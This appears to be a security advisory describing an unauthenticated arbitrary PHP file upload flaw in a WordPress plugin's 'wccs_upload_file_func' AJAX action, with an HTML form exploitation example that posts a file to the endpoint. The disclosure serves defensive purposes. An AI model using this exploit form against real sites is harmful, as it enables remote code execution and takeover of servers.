Description

The vulnerability allows a remote attacker to compromise vulnerable application.

The vulnerability exists due to missing restrictions when uploading PHP files via the "/wp-admin/admin-ajax.php" URL, when action is set to "wccs_upload_file_func" and valid "order_id" identifier is set. A remote non-authenticated attacker can upload and execute arbitrary PHP file on the server.

Exploitation example: 

<html>
<body>
<form action="http://[host]/wp-admin/admin-ajax.php?action=wccs_upload_file_func&order_id=[order ID]&name=test" method="POST" enctype="multipart/form-data">
<input type="file" name="test[1]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
